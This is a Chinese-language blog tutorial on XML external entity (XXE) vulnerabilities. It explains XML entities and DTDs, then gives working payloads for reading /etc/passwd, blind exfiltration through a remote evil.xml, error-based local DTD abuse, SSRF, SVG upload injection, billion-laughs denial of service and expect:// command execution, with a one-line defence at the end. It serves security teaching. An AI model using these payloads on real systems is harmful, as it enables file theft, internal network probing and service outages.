当前位置:   article > 正文

XEE漏洞详解(全面)

xee漏洞

目录

前提

什么是XML?

XML的实体定义

什么是XXE漏洞?

原理

危害

XXE攻击方式

通过File协议进行任意文件读取

XXE盲注

加载远程DTD

加载本地DTD

利用XXE执行SSRF

XXE与文件上传结合

利用XXE进行Dos攻击

利用XXE进行命令执行

如何防护XXE漏洞?

XXE漏洞总结


前提

有一篇文章讲的很清楚,这里简单说明一下XEE详解

什么是XML?

XML是一种标记语言,用于描述数据的结构和内容。它可以用来表示各种类型的数据,例如文本、数字、图像等。

XML设计的目的是为了使数据的交换和共享更加容易,同时也可以被用于数据的存储和传输。

用途:

  • 异步系统之间进行数据传输的媒介(现在json代替了该功能)

例如如果想要Java程序和Python程序之间进行数据传输,就可以使用xml作为存放数据的载体,以此传输。

  • 作为配置文件使用

配置文件是用于给应用程序提供配置参数以及初始化设置的一些文件。

结构:

  • xml文档声明,在文档的第一行,包括xml版本号和字符集声明
  • 文档类型定义,即DTD,XEE漏洞所在的地方
  • XML文档元素

XML的实体定义

XML文档有自己的一个格式规范,这个格式规范由DTD控制,例如:

  1. <?xml version="1.0"?>
  2. <!DOCTYPE message [
  3. <!ELEMENT message (receiver ,sender ,header ,msg)>
  4. <!ELEMENT receiver (#PCDATA)>
  5. <!ELEMENT sender (#PCDATA)>
  6. <!ELEMENT header (#PCDATA)>
  7. <!ELEMENT msg (#PCDATA)>

XML存储数据对应格式:

  1. <message>
  2. <receiver>Myself</receiver>
  3. <sender>Someone</sender>
  4. <header>TheReminder</header>
  5. <msg>This is an amazing book</msg>
  6. </message>

很明显,DOCTYPE定义了根元素,ELEMENT定义了子元素。

再比如

  1. <?xml version="1.0" standalone="yes"?>
  2. <!DOCTYPE blog [
  3. <!ELEMENT author (#PCDATA) >
  4. <!ENTITY js "JO Smith" >]>

这里定义了一个xml的实体(实体其实可以看作成一个变量,到时候我们可以在xml中通过&符号引用),那么xml可以写成这样

  1. <blog>
  2. <author>&js;</author>
  3. </blog>

使用了&js对上面定义的js实体进行了引用,到时候输出的时候(即被解析器处理后)&js就会被"JO Smith"代替。

什么是XXE漏洞

原理

可以利用XML外部实体加载注入,就是当XML引用外部实体并解析的时候会产生的漏洞,XML解析器去获取其中的外部资源并存储到内部实体中,外部实体声明关键字'SYSTEM'会令XML解析器读取数据,构造恶意的值,去执行,攻击者可引用外部实体对目标进行文件读取、命令执行、DDOS、内网探测等。

实例代码:

  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [
  3. <!ELEMENT foo ANY >
  4. <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
  5. <creds>
  6. <user>&xxe;</user>
  7. <pass>mypass</pass>
  8. </creds>

普通将实体分为内部实体和外部实体,也可以将实体分为通用实体和参数实体。

通用实体

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
  3. <updateProfile>
  4. <firstname>Joe</firstname>
  5. <lastname>&file;</lastname>
  6. ...
  7. </updateProfile>

参数实体

使用% 实体名(这里面的空格不能少)在DTD中定义,并且只能在DTD中使用`%实体名;`引用

  1. <!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
  2. <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
  3. %an-element; %remote-dtd;

危害

  • 通过file://协议        进行任意文件读取
  • 通过http://ip:端口        进行探测内网端口(SSRF)
  • 通过expect://(PHP要开启PECL上的Expect扩展)        进行命令执行
  • 利用盲XXE将泄露新数据外带或者通过报错信息检索数据
  • 利用XXE进行DOS攻击,对服务器造成伤害
  • XXE还可以与文件上传结合,造成getshell

XXE攻击方式

通过File协议进行任意文件读取

示例payload代码:

  1. <?xml version='1.0'?>
  2. <!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
  3. <comment>
  4. <text>&test;</text>
  5. </comment>

依靠一道靶场加强一下感受:靶场地址

进入靶场之后,点击任意一个商品(view details),然后再点击Check stock并抓包,如图:

发现这里的productId和storeId是通过XML的形式传进来的,转发到Repeater模块,尝试通过File协议进行文件读取,其中构造payload为:

  1. <?xml version='1.0'?>
  2. <!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
  3. <stockCheck>
  4. <productId>&test;</productId>
  5. <storeId>
  6. 1
  7. </storeId>
  8. </stockCheck>

实验结果:

XXE盲注

加载远程DTD

上面的例子是有回显的,即可以直接在页面上看到paylod的执行结果或现象。如果无回显的文件读取可以通过XEE盲注加上外带数据通道来提取数据(意思就是使用第三方平台来协助攻击)。

payload1:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE data [
  3. <!ENTITY % file SYSTEM "file:///c://test/1.txt">
  4. <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
  5. %dtd; %all;
  6. ]>
  7. <value>&send;</value>
  8. evil.xml文件内容为
  9. <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

payload2:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE root [
  3. <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
  4. <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
  5. %dtd;
  6. %send;
  7. ]>
  8. <root></root>
  9. evil.xml文件内容为:
  10. <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

先让%dtd请求远程服务器(攻击机)上的evil.xml,然后%payload调用了%file,%file获取服务器上的敏感文件,最终替换%send,数据被发送到我们远程的服务器,实现了数据的外带。

加载本地DTD

上面两个payload是加载远程的DTD,如果目标有防火墙等设备,阻止了对外连接,可以采用基于错误回显的XXE。这种方法最流行的一种就是加载本地的DTD文件。

payload:

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE messege [
  3. <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd">
  4. <!ENTITY % condition'aaa)>
  5. <!ENTITY &#x25;file SYSTEM "file:///etc/passwd">SYSTEM &#x27;<!ENTITY &#x25; eval "
  6. <!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
  7. &#x25;eval;
  8. &#x25;error;
  9. <!ENTITY aa (bb'>
  10. %local_dtd;
  11. ]>
  12. <message>any text</message>

/opt/IBM/Websphere/AppServer/properties/sip-app10.dtd是websphere上默认存在的DTD,可以通过加载它来触发报错返回读取文件的内容。

利用XXE执行SSRF

payload:

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE ANY [
  3. <!ENTITY % ssrf SYSTEM "http://ip:port">
  4. %ssrf;
  5. ]>

XXE与文件上传结合

payload:

  1. <?xml version="1.0" standalone="yes"?>
  2. <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
  3. <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  4. <text font-size="16" x="0" y="16">
  5. &xxe;
  6. </text>
  7. </svg>

利用XXE进行Dos攻击

payload:

  1. <?xml version="1.0"?>
  2. <!DOCTYPE lolz [
  3. <!ENTITY lol "lol">
  4. <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  6. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  7. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  8. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  9. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  10. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  11. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  12. ]>
  13. <lolz>&lol9;</lolz>

当xml解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用3G的内存。

利用XXE进行命令执行

php环境下,利用XXE命令执行需要php装有expect扩展,但是默认该扩展是不安装的,所以一般命令执行比较难以利用。

payload:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY>
  4. <!ENTITY xxe SYSTEM "expect://ifconfig">
  5. ]>
  6. <root><name>&xxe;</name></root>

如何防护XXE漏洞?

XXE漏洞归根到底是因为XML文档解析引入外部实体,禁止加载外部实体。

禁止加载外部实体是防御XXE最有效的方式了。

XXE漏洞总结

  • XXE漏洞原理归根到底是因为XML文档解析引入了外部实体
  • XXE漏洞主要利用方向:任意文件读取、SSRF、命令执行、DOS攻击、文件上传
  • 具体利用的操作分为有无回显两类,无回显可以加载远程DTD,将数据发送到远程服务器;或者加载本地实体报错回显。
声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号